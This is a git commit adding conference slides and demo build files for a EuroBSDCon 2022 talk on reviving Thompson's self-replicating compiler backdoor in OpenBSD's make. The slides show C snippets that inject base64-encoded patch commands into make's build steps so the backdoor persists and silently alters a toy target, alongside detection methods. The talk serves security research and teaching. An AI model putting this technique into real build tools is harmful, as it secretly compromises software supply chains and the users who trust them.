Add slides, because the presentation is acutally in 4 hours

This commit is contained in:
sk4nz 2022-09-18 12:32:23 +02:00
parent 9b91ef0407
commit c20e9ddd6c
13 changed files with 1536 additions and 3 deletions

15
slides/.gitignore vendored Normal file
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*.log
*.backup
*.aux
*.tox
*.blg
*.out
*.bbl
*.dvi
*.nav
*.pyg
*.snm
*.lof
*.vrb
*.toc
_minted-*/

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slides/Makefile Normal file
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.PHONY: clean read
SOURCE=trusting-make
all: $(SOURCE).pdf read
$(SOURCE).pdf:
pdflatex -interaction=nonstopmode -shell-escape $(SOURCE).tex
pdflatex -interaction=nonstopmode -shell-escape $(SOURCE).tex
clean:
-rm $(SOURCE).pdf $(SOURCE).run.xml $(SOURCE).bcf > /dev/null 2>&1
-rm *~ .log *.backup *.aux *.toc *.blg *.log *.out *.bbl *.dvi *.nav *.pyg *.snm *.lof *.vrb > /dev/null 2>&1
-rm -rf _minted-$(SOURCE) > /dev/null 2>&1
read:
evince $(SOURCE).pdf > /dev/null 2>&1 &

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\documentclass[13pt,english]{beamer}
\usepackage[french]{babel}
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\usepackage{multicol}
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\usepackage{url}
\usepackage{appendixnumberbeamer}
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\title{Reviving and evaluating Thompson's backdoor in OpenBSD's make}
\subtitle{EuroBSDCon 2022}
\date{18/09/2022}
\author{Samuel AUBERTIN}
%\institute{EuroBSDCon}
\begin{document}
\maketitle
\begin{frame}[fragile,c]{\$ whoami}
\begin{center}
Samuel AUBERTIN - sk4nz
\begin{itemize}
\item Consultant @ IBM Security France
\item Network \& Systems Engineer
\item Undefended PhD @ EURECOM
%\item PhD subject: Performance evaluation of \textit{µ}arch mitigations across operating systems, machines and time.
\item OpenBSD user since 5.3 (2013)
\end{itemize}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{2001: A Space Odyssey}
\begin{center}
\includegraphics[width=0.4\textwidth]{img/hal.png}
\vfill
\textit{"I'm afraid I can't do that, Dave."}
\rightline{{\rm --- HAL 9000}}
\end{center}
\end{frame}
\begin{frame}[standout]
What if HAL 9000 got backdoored?
\end{frame}
\begin{frame}[fragile,c]{Trusting HAL 9000}
\begin{center}
\begin{itemize}
\pause
\item Physical security\pause
\item Hardware\pause
\item Firmware\pause
\item Kernel\pause
\item Userland\pause
\item Operations
\end{itemize}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{Trusting HAL 9000}
\begin{center}
\begin{itemize}
\item Physical security
\item Hardware
\item \textcolor{purple}{Firmware}
\item \textcolor{purple}{Kernel}
\item \textcolor{purple}{Userland}
\item Operations
\end{itemize}
A \textcolor{purple}{compiler} is \textit{used}, can we trust it?
\end{center}
\end{frame}
\begin{frame}[standout]
Trusting Trust
\end{frame}
\begin{frame}[fragile,c]{Ken Thompson - Reflections on Trusting Trust - 1984}
\begin{center}
\textit{"The moral is obvious. You can't trust code that you did not totally create yourself. [...] No amount of source-level verification or scrutiny will protect you from using untrusted code."}\footnote{\url{https://www.cs.cmu.edu/~rdriley/487/papers/Thompson_1984_ReflectionsonTrustingTrust.pdf}}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{Thompson's backdoor feature one: self-replication}
\begin{center}
Quines are programs that print themselves, perfect for self-replication!
\pause
\begin{minted}[fontsize=\footnotesize,breaklines,linenos]{c}
#include <stdio.h>
int main(){char*c="#include <stdio.h>%cint main(){char*c=%c%s%c;printf(c,10,34,c,34,10);return 0;}%c";printf(c,10,34,c,34,10);return 0;}
\end{minted}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{Thompson's backdoor feature two: "learning"}
\begin{center}
Compilers carry knowledge obtained from their source across hereditary binaries.
\pause
\begin{enumerate}
\item If you compile yourself, self-reproduce.
\item If you compile login(1), backdoor it.
\end{enumerate}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{Thompson's backdoor: wrapping features altogether}
\begin{center}
Compiler Source \textit{CS} $\longrightarrow$ \textit{X} $\longrightarrow$ Compiler \textit{C} \pause
Backdoored Compiler Source $\longrightarrow$ \textit{C} $\longrightarrow$ \textcolor{orange}{Backdoored Compiler \textit{BC}} \pause
\textit{CS} $\longrightarrow$ \textcolor{orange}{\textit{BC}} $\longrightarrow$ \textcolor{red}{Self-Replicating Backdoored Compiler \textit{KBC'}} \pause
\textit{CS} $\longrightarrow$ \textcolor{red}{\textit{KBC'}} $\longrightarrow$ \textcolor{red}{\textit{KBC''}} \pause
Program Source \textit{S} $\longrightarrow$ \textcolor{red}{\textit{KBC}} $\longrightarrow$ \textcolor{red}{\textbf{Backdoored Program}}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{Thompson's backdoor: origins}
\begin{center}
Thompson's 1984 paper cites an \textit{Unknown Air Force Document}.
\pause
\texttt{MULTICS SECURITY EVALUATION: VULNERABILITY ANALYSIS}\footnote{\url{https://csrc.nist.gov/csrc/media/publications/conference-paper/1998/10/08/proceedings-of-the-21st-nissc-1998/documents/early-cs-papers/karg74.pdf}}
1974 - US Air Force
\end{center}
\end{frame}
\begin{frame}[fragile,c]{Thompson's backdoor: origins}
\begin{center}
\textit{"In Multics, most of the ring 0 supervisor is written in PL/1. A penetrator could insert a trap door in the PL/1 compiler to note when it is compiling a ring 0 module. Then the compiler would insert an object code trap door in the ring 0 module without listing the code in the listing. Since the PL/1 compiler is itself written in PL/1, the trap door can maintain itself, \underline{even when the compiler is recompiled}."}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{Extending to \textit{Self-Hosted} components}
\begin{center}
\begin{itemize}
\item \texttt{cc -o cc cc.c} \pause
\item \texttt{docker buildx build path/to/docker/source} \pause
\item \texttt{make -C /usr/src/usr.bin/make}
\end{itemize}
\end{center}
\end{frame}
\begin{frame}[standout]
Demonstration
\end{frame}
\begin{frame}[fragile,c]{Implementation details}
\begin{center}
\texttt{/usr/src/usr.bin/make/engine.c}
\begin{itemize}
\item \mintinline{c}{bool do_run_command(Job *job, const char *pre)}
\item \mintinline{c}{job->node->name}
\item \mintinline{c}{job->cmd}
\end{itemize}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{Self-replication}
\begin{center}
\begin{minted}[fontsize=\tiny,linenos]{c}
if (strcmp(job->node->name, "engine.o") == 0) {
printf("\033[32m>>>>>>> SELF-REPLICATING <<<<<<<\n\033[31m\033[0m\n");
const char* payload_left = "echo __DIFF__ | base64 -d | patch -s -R engine.c && ";
const char* payload_right = " && mv engine.c.orig engine.c ";
unsigned payload_len = strlen(payload_left) + strlen(payload_right);
char* stuffed = emalloc(sizeof(char) * (strlen(cmd) + payload_len) + 1);
strcat(stuffed, payload_left);
strcat(stuffed, cmd);
strcat(stuffed, payload_right);
cmd = stuffed;
}
\end{minted}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{\_\_DIFF\_\_}
\begin{center}
\begin{minted}[fontsize=\footnotesize]{sh}
$(PATCH):
diff -d engine.c $(LEGIT_SRC)/engine.c > $@ || true
sed "s|__DIFF__|$$(cat $@ | base64 -e | tr -d '\n\r')|g" $@ > $@.1
sed "s|__DIFF__|$$(cat $@.1 | base64 -e | tr -d '\n\r')|g" $@ > $@.2
sed "s|__DIFF__|$$(cat $@.2 | base64 -e | tr -d '\n\r')|g" $@ > $@.3
\end{minted}
\pause
\begin{minted}[fontsize=\footnotesize]{sh}
$(BACKDOOR_SRC): $(PATCH) $(TEMP)/Makefile
patch -d $(TEMP) -s -R engine.c $(PATCH).3
\end{minted}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{\_\_DIFF\_\_ levels}
\begin{center}
\begin{enumerate}\addtocounter{enumi}{-1}
\item Templated backdoor \\ \texttt{template(backdoor)} \pause
\item Encoded backdoor \\ \texttt{encode(template(backdoor))} \pause
\item Self-replicating backdoor \\ \texttt{encode(encode(template(backdoor)))} \pause
\item Wrapper to avoid decoding the template \\ \texttt{encode(encode(encode(template(backdoor))))}
\end{enumerate}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{Targeting HAL9000}
\begin{center}
\begin{minted}[fontsize=\tiny,breaklines,linenos]{c}
if (strcmp(job->node->name, "HAL9000") == 0) {
printf("\033[32m>>>>>>> INFECTING HAL9000 <<<<<<<\n\033[31m\033[0m\n");
const char* payload_left = "sed -i.orig 's/ERADICATE_SUBROUTINE;/SUCCESS_SUBROUTINE;/' HAL9000.c && ";
const char* payload_right = " && mv HAL9000.c.orig HAL9000.c ";
unsigned payload_len = strlen(payload_left) + strlen(payload_right);
char* stuffed = emalloc(sizeof(char) * (strlen(cmd) + payload_len) + 1);
strcat(stuffed, payload_left);
strcat(stuffed, cmd);
strcat(stuffed, payload_right);
cmd = stuffed;
}
\end{minted}
\end{center}
\end{frame}
\begin{frame}[standout]
Detection
\end{frame}
\begin{frame}[fragile,c]{Detection: static analysis}
\begin{center}
\pause
\begin{itemize}
\item Differential analysis: Levenshtein distance, binary difference
\begin{itemize}
\item bindiff + IDA
\item radiff2
\end{itemize}
\pause
\item Decompilation
\begin{itemize}
\item ghidra
\item IDA
\item radare2
\end{itemize}
\end{itemize}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{Detection : runtime analysis}
\begin{center}
\pause
\begin{itemize}
\item btrace
\item ktrace
\item gdb
\item radare2
\end{itemize}
\end{center}
\end{frame}
\begin{frame}[fragile,c]{Diverse Double-Compiling}
\begin{center}
David A. Wheeler PhD dissertation\footnote{\url{https://dwheeler.com/trusting-trust/}}
Compiler Source Code \textcolor{ProcessBlue}{\textit{CS}} $\longrightarrow$ \textcolor{orange}{\textit{X}} $\longrightarrow$ Compiler \textcolor{orange}{\textit{X1}} \pause
\textcolor{ProcessBlue}{\textit{CS}} $\longrightarrow$ \textcolor{purple}{\extit{Y}} $\longrightarrow$ Compiler \textcolor{purple}{\extit{Y1}} \pause
\textcolor{ProcessBlue}{\textit{CS}} $\longrightarrow$ \textcolor{orange}{\textit{X1}} $\longrightarrow$ Compiler \textcolor{orange}{\textit{X2}} \pause
\textcolor{ProcessBlue}{\textit{CS}} $\longrightarrow$ \textcolor{purple}{\textit{Y1}} $\longrightarrow$ Compiler \textcolor{purple}{\textit{Y2}} \pause
Are \textcolor{orange}{\textit{X2}} and \textcolor{purple}{\textit{Y2}} binary equivalent?
\end{center}
\end{frame}
\begin{frame}[fragile,c]{Related works}
\begin{center}
\begin{itemize}
\item \textit{Deniable Backdoors Using Compiler Bugs}\footnote{\url{https://www.alchemistowl.org/pocorgtfo/pocorgtfo08.pdf}}
\item \textit{Defending Against Compiler-Based Backdoors}\footnote{\url{https://blog.regehr.org/archives/1241}}
\end{itemize}
\end{center}
\end{frame}
\begin{frame}[standout]
Let's discuss!
\url{https://www.sk4.nz/eurobsdcon22.git}
\end{frame}
\end{document}

View File

@ -9,7 +9,7 @@ HAL= ./HAL9000
BACKDOORED_HAL= ./HAL9000-backdoored
PASS?!= openssl rand 12 | base64
.PHONY: clean diff
.PHONY: clean diff banner
.SILENT:
all: $(HAL) $(BACKDOORED_HAL)
@ -18,7 +18,11 @@ all: $(HAL) $(BACKDOORED_HAL)
echo "\033[94m6 - Trying \033[3m$(BACKDOORED_HAL)\033[23m with\033[36m" $(PASS)
echo $(PASS) | $(BACKDOORED_HAL)
$(LEGIT_BIN):
banner:
echo "\033[95m\033[4m\033[3mTRUSTING-MAKE\033[0m"
$(LEGIT_BIN): banner
echo "\033[94m0 - Compiling $@ with system make from legit source\033[0m"
$(MAKE) -s -C $(LEGIT_SRC) clean
$(MAKE) -s -C $(LEGIT_SRC)
@ -65,7 +69,8 @@ $(BACKDOOR_BIN): $(BACKDOOR_SRC)
echo "\033[94m make with binary backdoor = \033[3m$@\033[0m"
diff:
radiff2 -a x86 -A -d -D $(TEMP) $(LEGIT_BIN)
radiff2 -a x86 -A -d -D $(LEGIT_BIN) $(BACKDOOR_BIN)
echo -n 'aaaa\npdf @sym.job_run_next\n' | radare2 $(BACKDOOR_BIN)
clean:
rm -rf /tmp/evil-?????? $(HAL) $(BACKDOORED_HAL)